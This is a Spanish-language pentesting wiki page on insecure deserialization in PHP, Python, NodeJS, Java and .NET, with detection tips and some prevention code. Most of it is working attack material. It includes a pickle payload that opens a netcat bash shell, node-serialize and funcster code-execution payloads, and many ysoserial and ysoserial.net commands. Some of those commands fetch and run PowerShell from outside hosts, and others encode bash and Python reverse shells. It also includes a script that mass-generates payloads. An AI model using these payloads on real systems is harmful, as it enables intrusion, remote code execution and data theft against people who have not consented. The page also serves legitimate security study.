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Deserialization

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Información Básica

La serialización se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.

La deserialización, por otro lado, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.

La deserialización puede ser peligrosa porque potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.

PHP

En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización:

  • __sleep: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Comúnmente se utiliza para confirmar datos pendientes o realizar tareas de limpieza similares.

  • __wakeup: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinitialización.

  • __unserialize: Este método es llamado en lugar de __wakeup (si existe) cuando un objeto está siendo deserializado. Proporciona más control sobre el proceso de deserialización en comparación con __wakeup.

  • __destruct: Este método es llamado cuando un objeto está a punto de ser destruido o cuando el script termina. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.

  • __toString: Este método permite que un objeto sea tratado como una cadena. Puede ser utilizado para leer un archivo u otras tareas basadas en las llamadas de funciones dentro de él, proporcionando efectivamente una representación textual del objeto.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si observas los resultados, puedes ver que las funciones __wakeup y __destruct se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función __toString se llama al intentar imprimir algún atributo, pero aparentemente eso ya no sucede.

El método __unserialize(array $data) se llama en lugar de __wakeup() si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Puedes leer un ejemplo de PHP explicado aquí: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, aquí https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o aquí https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Podrías abusar de la funcionalidad de carga automática de PHP para cargar archivos PHP arbitrarios y más:

pagePHP - Deserialization + Autoload Classes

Serializando Valores Referenciados

Si por alguna razón deseas serializar un valor como una referencia a otro valor serializado puedes:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial para PHP)

PHPGGC puede ayudarte a generar payloads para abusar de las deserializaciones de PHP. Ten en cuenta que en varios casos no podrás encontrar una forma de abusar de una deserialización en el código fuente de la aplicación, pero podrías ser capaz de abusar del código de extensiones externas de PHP. Por lo tanto, si es posible, verifica la phpinfo() del servidor y busca en internet (incluso en los gadgets de PHPGGC) algún posible gadget que puedas abusar.

Deserialización de metadatos phar://

Si has encontrado una LFI que solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo utilizando funciones como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**. Puedes intentar abusar de una deserialización que ocurre al leer un archivo utilizando el protocolo phar. Para obtener más información, lee el siguiente post:

pagephar:// deserialization

Python

Pickle

Cuando el objeto se deserializa, se ejecutará la función __reduce__. Cuando se explota, el servidor podría devolver un error.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Para obtener más información sobre cómo escapar de las cárceles de pickle, consulta:

pageBypass Python sandboxes

Yaml y jsonpickle

La siguiente página presenta la técnica para abusar de una deserialización insegura en las bibliotecas de python yamls y finaliza con una herramienta que se puede utilizar para generar carga útil de deserialización RCE para Pickle, PyYAML, jsonpickle y ruamel.yaml:

pagePython Yaml Deserialization

Contaminación de Clases (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

Funciones Mágicas de JS

JS no tiene funciones "mágicas" como PHP o Python que se van a ejecutar solo para crear un objeto. Pero tiene algunas funciones que se usan con frecuencia incluso sin llamarlas directamente como toString, valueOf, toJSON. Si abusas de una deserialización, puedes comprometer estas funciones para ejecutar otro código (potencialmente abusando de contaminaciones de prototipos) y podrías ejecutar código arbitrario cuando se llamen.

Otra forma "mágica" de llamar a una función sin llamarla directamente es comprometer un objeto que es devuelto por una función asíncrona (promesa). Porque, si transformas ese objeto devuelto en otra promesa con una propiedad llamada "then" de tipo función, se ejecutará solo porque es devuelto por otra promesa. Sigue este enlace para más información.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Contaminación de __proto__ y prototype

Si deseas aprender sobre esta técnica, echa un vistazo al siguiente tutorial:

pageNodeJS - __proto__ & prototype Pollution

node-serialize

Esta biblioteca permite serializar funciones. Ejemplo:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

El objeto serializado se verá así:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Puedes ver en el ejemplo que cuando una función es serializada se añade la bandera _$$ND_FUNC$$_ al objeto serializado.

Dentro del archivo node-serialize/lib/serialize.js puedes encontrar la misma bandera y cómo el código la está utilizando.

Como puedes ver en el último fragmento de código, si se encuentra la bandera se utiliza eval para deserializar la función, por lo que básicamente la entrada del usuario se está utilizando dentro de la función eval.

Sin embargo, simplemente serializar una función no la ejecutará ya que sería necesario que alguna parte del código esté llamando a y.rce en nuestro ejemplo y eso es altamente improbable. De todos modos, podrías simplemente modificar el objeto serializado añadiendo algunos paréntesis para autoejecutar la función serializada cuando se deserialice el objeto. En el siguiente fragmento de código nota el último paréntesis y cómo la función unserialize ejecutará automáticamente el código:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Como se indicó anteriormente, esta biblioteca obtendrá el código después de _$$ND_FUNC$$_ y lo ejecutará usando eval. Por lo tanto, para auto-ejecutar código, puedes eliminar la parte de creación de la función y el último paréntesis y simplemente ejecutar un comando JS en una línea como en el siguiente ejemplo:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Puedes encontrar aquí más información sobre cómo explotar esta vulnerabilidad.

funcster

Un aspecto destacado de funcster es la inaccesibilidad de los objetos integrados estándar; quedan fuera del alcance accesible. Esta restricción evita la ejecución de código que intenta invocar métodos en objetos integrados, lo que lleva a excepciones como "ReferenceError: console is not defined" cuando se utilizan comandos como console.log() o require(something).

A pesar de esta limitación, la restauración del acceso completo al contexto global, incluidos todos los objetos integrados estándar, es posible a través de un enfoque específico. Al aprovechar directamente el contexto global, se puede evitar esta restricción. Por ejemplo, el acceso puede restablecerse utilizando el siguiente fragmento:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Para más información lee esta fuente.

serialize-javascript

El paquete serialize-javascript está diseñado exclusivamente para fines de serialización, careciendo de capacidades de deserialización integradas. Los usuarios son responsables de implementar su propio método para la deserialización. Un uso directo de eval es sugerido por el ejemplo oficial para deserializar datos serializados:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Si esta función se utiliza para deserializar objetos, puedes explotarla fácilmente:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Para más información lee esta fuente.

Biblioteca Cryo

En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:

Java - HTTP

En Java, las devoluciones de llamada de deserialización se ejecutan durante el proceso de deserialización. Esta ejecución puede ser explotada por atacantes que crean cargas maliciosas que activan estas devoluciones de llamada, lo que puede llevar a la ejecución potencial de acciones dañinas.

Huellas digitales

Caja Blanca

Para identificar posibles vulnerabilidades de serialización en el código, busca:

  • Clases que implementen la interfaz Serializable.

  • Uso de las funciones java.io.ObjectInputStream, readObject, readUnshare.

Presta especial atención a:

  • XMLDecoder utilizado con parámetros definidos por usuarios externos.

  • El método fromXML de XStream, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización.

  • ObjectInputStream junto con el método readObject.

  • Implementación de métodos como readObject, readObjectNodData, readResolve o readExternal.

  • ObjectInputStream.readUnshared.

  • Uso general de Serializable.

Caja Negra

Para pruebas de caja negra, busca firmas específicas o "Bytes Mágicos" que denoten objetos serializados de Java (provenientes de ObjectInputStream):

  • Patrón hexadecimal: AC ED 00 05.

  • Patrón Base64: rO0.

  • Cabeceras de respuesta HTTP con Content-type establecido en application/x-java-serialized-object.

  • Patrón hexadecimal que indica compresión previa: 1F 8B 08 00.

  • Patrón Base64 que indica compresión previa: H4sIA.

  • Archivos web con la extensión .faces y el parámetro faces.ViewState. Descubrir estos patrones en una aplicación web debería provocar un examen detallado como se detalla en el post sobre Deserialización de Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verificar si es vulnerable

Si quieres aprender cómo funciona una explotación de deserialización de Java, deberías echar un vistazo a Deserialización Básica de Java, Deserialización de Java DNS y Carga útil de CommonsCollection1.

Prueba de Caja Blanca

Puedes verificar si hay instalada alguna aplicación con vulnerabilidades conocidas.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Puedes intentar verificar todas las bibliotecas conocidas por ser vulnerables y para las cuales Ysoserial puede proporcionar un exploit. O puedes verificar las bibliotecas indicadas en Java-Deserialization-Cheat-Sheet. También puedes usar gadgetinspector para buscar posibles cadenas de gadgets que puedan ser explotadas. Al ejecutar gadgetinspector (después de compilarlo) no te preocupes por las toneladas de advertencias/errores que pueda mostrar y déjalo terminar. Escribirá todos los hallazgos en gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt. Por favor, ten en cuenta que gadgetinspector no creará un exploit y puede indicar falsos positivos.

Prueba de Caja Negra

Usando la extensión de Burp gadgetprobe puedes identificar qué bibliotecas están disponibles (e incluso las versiones). Con esta información podría ser más fácil elegir un payload para explotar la vulnerabilidad. Lee esto para aprender más sobre GadgetProbe. GadgetProbe se enfoca en las deserializaciones de ObjectInputStream.

Usando la extensión de Burp Java Deserialization Scanner puedes identificar bibliotecas vulnerables explotables con ysoserial y explotarlas. Lee esto para aprender más sobre Java Deserialization Scanner. Java Deserialization Scanner se enfoca en las deserializaciones de ObjectInputStream.

También puedes usar Freddy para detectar vulnerabilidades de deserialización en Burp. Este complemento detectará vulnerabilidades no solo relacionadas con ObjectInputStream sino también con bibliotecas de deserialización de Json y Yml. En modo activo, intentará confirmarlas utilizando payloads de sleep o DNS. Puedes encontrar más información sobre Freddy aquí.

Prueba de Serialización

No todo se trata de verificar si el servidor está utilizando alguna biblioteca vulnerable. A veces podrías ser capaz de cambiar los datos dentro del objeto serializado y evadir algunas comprobaciones (quizás otorgarte privilegios de administrador dentro de una aplicación web). Si encuentras un objeto serializado de Java que se envía a una aplicación web, puedes usar SerializationDumper para imprimir en un formato más legible para humanos el objeto serializado que se envía. Saber qué datos estás enviando facilitaría modificarlos y evadir algunas comprobaciones.

Explotación

ysoserial

La herramienta principal para explotar deserializaciones de Java es ysoserial (descarga aquí). También puedes considerar usar ysoseral-modified que te permitirá usar comandos complejos (con tuberías, por ejemplo). Ten en cuenta que esta herramienta está centrada en explotar ObjectInputStream. Yo comenzaría usando el payload "URLDNS" antes que un payload de RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload de RCE sí.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Cuando creas un payload para java.lang.Runtime.exec() no puedes usar caracteres especiales como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso pasar argumentos a un comando separados por espacios (puedes hacer echo -n "hello world" pero no puedes hacer python2 -c 'print "Hello world"'). Para codificar correctamente el payload, puedes utilizar esta página web.

Siéntete libre de usar el siguiente script para crear todos los posibles payloads de ejecución de código para Windows y Linux y luego probarlos en la página web vulnerable:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puedes utilizar https://github.com/pwntester/SerialKillerBypassGadgetCollection junto con ysoserial para crear más exploits. Más información sobre esta herramienta en las diapositivas de la charla donde se presentó la herramienta: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec se puede utilizar para generar payloads y explotar diferentes bibliotecas de serialización Json y Yml en Java. Para compilar el proyecto, necesité agregar estas dependencias al archivo pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instala Maven y compila el proyecto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Lee más sobre esta biblioteca de JSON de Java: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorios

Por qué

Java utiliza mucho la serialización para varios propósitos como:

  • Solicitudes HTTP: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.

  • RMI (Invocación de Método Remoto): El protocolo Java RMI, que depende completamente de la serialización, es fundamental para la comunicación remota en aplicaciones Java.

  • RMI sobre HTTP: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, que utilizan la serialización para todas las comunicaciones de objetos.

  • JMX (Extensiones de Gestión de Java): JMX utiliza la serialización para transmitir objetos a través de la red.

  • Protocolos Personalizados: En Java, la práctica estándar implica la transmisión de objetos Java sin procesar, lo cual se demostrará en ejemplos de explotación próximos.

Prevención

Objetos Transitorios

Una clase que implementa Serializable puede marcar como transient cualquier objeto dentro de la clase que no deba ser serializado. Por ejemplo:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitar la Serialización de una clase que necesita implementar Serializable

En escenarios donde ciertos objetos deben implementar la interfaz Serializable debido a la jerarquía de clases, existe un riesgo de deserialización no intencional. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método readObject() final que lance consistentemente una excepción, como se muestra a continuación:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Mejorando la Seguridad de la Deserialización en Java

Personalizar java.io.ObjectInputStream es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando:

  • El código de deserialización está bajo tu control.

  • Se conocen las clases esperadas para la deserialización.

Sobrescribe el método resolveClass() para limitar la deserialización solo a las clases permitidas. Esto evita la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización solo a la clase Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Usar un Agente Java para Mejora de Seguridad ofrece una solución alternativa cuando la modificación de código no es posible. Este método se aplica principalmente para poner en lista negra clases dañinas, utilizando un parámetro de JVM:

-javaagent:name-of-agent.jar

Proporciona una forma de asegurar la deserialización de forma dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos.

Ver un ejemplo en rO0 de Contrast Security

Implementación de Filtros de Serialización: Java 9 introdujo filtros de serialización a través de la interfaz ObjectInputFilter, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control detallado sobre el proceso de deserialización.

Para utilizar los filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Aprovechando Bibliotecas Externas para una Seguridad Mejorada: Bibliotecas como NotSoSerial, jdeserialize y Kryo ofrecen características avanzadas para controlar y monitorear la deserialización en Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la lista blanca o negra de clases, analizar objetos serializados antes de la deserialización e implementar estrategias personalizadas de serialización.

  • NotSoSerial intercepta procesos de deserialización para prevenir la ejecución de código no confiable.

  • jdeserialize permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.

  • Kryo es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.

Referencias

Inyección JNDI y log4Shell

Encuentra qué es la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell (y un ejemplo de esta vulnerabilidad) en la siguiente página:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Servicio de Mensajes Java

La API de Servicio de Mensajes Java (JMS) es una API de middleware orientada a mensajes en Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicaciones basadas en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea desacoplada, confiable y asincrónica. (De Wikipedia).

Productos

Hay varios productos que utilizan este middleware para enviar mensajes:

Explotación

Entonces, básicamente hay varios servicios que utilizan JMS de manera peligrosa. Por lo tanto, si tienes suficientes privilegios para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas) podrías ser capaz de enviar objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor. Esto significa que en esta explotación todos los clientes que vayan a usar ese mensaje se infectarán.

Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario) aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad.

La herramienta JMET fue creada para conectar y atacar estos servicios enviando varios objetos maliciosos serializados utilizando gadgets conocidos. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable.

Referencias

.Net

En el contexto de .Net, los exploits de deserialización operan de manera similar a los encontrados en Java, donde los gadgets son explotados para ejecutar código específico durante la deserialización de un objeto.

Huella digital

Caja Blanca

El código fuente debe ser inspeccionado en busca de ocurrencias de:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

El enfoque debe estar en los serializadores que permiten que el tipo sea determinado por una variable bajo control del usuario.

Caja Negra

La búsqueda debe apuntar a la cadena codificada en Base64 AAEAAAD///// o cualquier patrón similar que pueda ser deserializado en el lado del servidor, otorgando control sobre el tipo a ser deserializado. Esto podría incluir, pero no se limita a, estructuras JSON o XML que presenten TypeObject o $type.

ysoserial.net

En este caso puedes utilizar la herramienta ysoserial.net para crear exploits de deserialización. Una vez descargado el repositorio de git, debes compilar la herramienta utilizando Visual Studio, por ejemplo.

Si deseas aprender sobre cómo ysoserial.net crea su exploit puedes consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + formateador Json.Net.

Las principales opciones de ysoserial.net son: --gadget, --formatter, --output y --plugin.

  • --gadget se utiliza para indicar el gadget a abusar (indica la clase/función que será abusada durante la deserialización para ejecutar comandos).

  • --formatter, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el back-end para deserializar la carga útil y usar la misma para serializarla).

  • --output se utiliza para indicar si deseas el exploit en formato raw o codificado en base64. Ten en cuenta que ysoserial.net codificará la carga útil usando UTF-16LE (codificación utilizada de forma predeterminada en Windows), por lo que si obtienes el raw y simplemente lo codificas desde una consola de Linux, podrías tener algunos problemas de compatibilidad de codificación que impedirán que el exploit funcione correctamente (en el cuadro JSON de HTB, la carga útil funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará).

  • --plugin ysoserial.net admite plugins para crear exploits para frameworks específicos como ViewState

Más parámetros de ysoserial.net

  • --minify proporcionará una carga útil más pequeña (si es posible)

  • --raf -f Json.Net -c "anything" Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (Json.Net en este caso)

  • --sf xml puedes indicar un gadget (-g) y ysoserial.net buscará formateadores que contengan "xml" (insensible a mayúsculas y minúsculas)

Ejemplos de ysoserial para crear exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
